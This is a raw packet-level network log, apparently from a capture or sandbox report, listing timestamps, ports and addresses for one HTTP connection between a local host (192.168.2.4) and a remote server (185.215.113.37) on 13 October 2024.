Oct 13, 2024 11:54:05.497864008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497909069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497915983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497963905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498202085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498265028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498269081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498326063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498334885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498383045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498397112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498433113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498439074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498481035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498488903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498531103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498553991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498579025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498583078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498629093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498652935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498678923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498683929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498727083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498739958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498775959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498784065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498832941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.498836040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.498888016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499114037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499181986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499305964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499353886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499370098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499408960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499422073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499469042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499476910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499516964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499526024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499566078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499576092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499615908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499624014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499664068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499682903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499712944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499716997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499761105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499768972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499809980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499819040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499861002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.499870062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499918938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.499995947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.500044107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.500061989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.500096083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.500113010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.500149965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.500159979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.500210047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.500222921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.500258923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.500271082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.500308990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.500313997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.500355959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.500369072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.500412941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.587229013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.587266922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.587291956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.587301970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.587311983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.587340117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.587340117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.587342978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.587363005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.587423086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.624561071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.624660015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.624697924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.624732018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.624783039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.624845982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.624861002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.624861002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.624861002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.624908924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.624912977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.624964952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.624973059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625013113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625020981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625072002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625078917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625125885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625140905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625175953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625180960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625232935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625242949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625291109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625299931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625339985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625353098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625394106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625406027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625458956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625464916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625500917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625511885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625560999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625572920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625621080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625628948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625668049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625691891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625720978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625741005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625790119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625816107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625839949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625844002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625895977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.625905991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625956059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.625965118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626003981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626012087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626055956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626058102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626112938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626120090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626168966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626179934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626216888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626223087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626266003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626271963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626313925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626317024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626364946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626369953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626414061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626421928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626463890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626470089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626507998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626518965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626557112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626576900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626606941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626616955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626656055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626665115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626705885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626730919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626754045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626770020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626804113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626816988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626852989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626857996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626902103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626924992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626949072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.626950979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.626998901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627003908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627044916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627053976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627093077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627099037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627140999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627149105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627191067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627197027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627234936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627248049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627285004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627293110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627335072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627341986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627401114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627382994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627460957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627465963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627509117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627532959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627563000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627568960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627619028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627625942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627666950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627680063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627716064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627717972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627764940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627772093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627813101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627825022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627867937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627868891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627918959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.627938032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.627974033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633318901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633404970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633411884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633465052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633507967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633554935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633570910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633570910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633609056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633615971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633615971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633658886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633678913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633758068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633807898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633820057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633820057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633857012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633862972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633904934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.633913994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633965015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.633975029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634033918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634042978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634102106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634108067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634156942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634177923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634208918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634211063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634260893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634272099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634310961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634318113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634375095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634376049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634422064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634423018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634470940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634485960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634521008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634533882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634583950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634591103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634633064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634649038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634675980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634712934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634723902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634732962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634773970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634778023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634821892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634835005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634891033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634898901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634939909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634948969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.634989023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.634996891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635036945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635052919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635087967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635098934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635142088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635149002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635190964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635198116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635241032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635251045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635291100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635328054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635338068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635361910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635411978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635411978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635463953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635499001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635524035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635525942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635575056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635585070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635624886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635627031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635674000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635683060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635725021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635730028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635772943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635782957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635824919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.635829926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.635880947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.679675102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.679750919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.679802895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.679852009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.679900885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.679900885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.679900885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.679928064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.679977894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.680025101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.680074930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.680162907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.680162907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.680162907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.680164099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.680164099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.716958046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717058897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717128038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717194080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717194080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717196941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717264891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717315912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717356920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717356920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717356920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717370987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717384100 CEST	49730	80	192.168.2.4	185.215.113.37
